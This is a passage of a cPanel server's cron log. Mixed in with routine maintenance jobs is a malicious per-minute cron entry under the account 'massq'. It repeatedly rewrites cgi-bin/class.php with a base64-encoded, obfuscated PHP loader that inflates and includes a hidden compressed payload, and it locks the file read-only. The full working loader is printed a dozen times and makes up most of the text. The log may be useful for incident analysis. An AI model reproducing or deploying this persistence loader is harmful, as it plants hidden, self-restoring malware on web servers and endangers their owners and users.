eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:18:01 server CROND[27834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:18:01 server CROND[27835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:18:01 server CROND[27836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:19:01 server CROND[28217]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:19:01 server CROND[28218]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:19:01 server CROND[28225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:20:01 server CROND[28614]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 04:20:01 server CROND[28615]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:20:01 server CROND[28620]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 04:20:01 server CROND[28624]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:20:01 server CROND[28631]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:20:01 server CROND[28639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:20:01 server CROND[28636]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:20:01 server CROND[28637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:20:01 server CROND[28641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:21:01 server CROND[29469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:21:01 server CROND[29470]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:21:01 server CROND[29471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:22:01 server CROND[29949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:22:01 server CROND[29950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:22:01 server CROND[29951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:23:01 server CROND[30337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:23:01 server CROND[30339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:23:01 server CROND[30338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:24:01 server CROND[30785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:24:01 server CROND[30786]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:24:01 server CROND[30787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:25:01 server CROND[31180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 04:25:01 server CROND[31185]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  3 04:25:01 server CROND[31182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 04:25:01 server CROND[31183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:25:01 server CROND[31186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:25:01 server CROND[31189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 04:25:01 server CROND[31184]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 04:25:01 server CROND[31187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:26:01 server CROND[32014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:26:01 server CROND[32015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:26:01 server CROND[32016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:27:01 server CROND[32401]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:27:01 server CROND[32402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:27:01 server CROND[32403]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:27:01 server CROND[32404]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 04:28:01 server CROND[423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:28:01 server CROND[425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 04:28:01 server CROND[426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:29:01 server CROND[847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 04:29:01 server CROND[848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 04:29:01 server CROND[849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
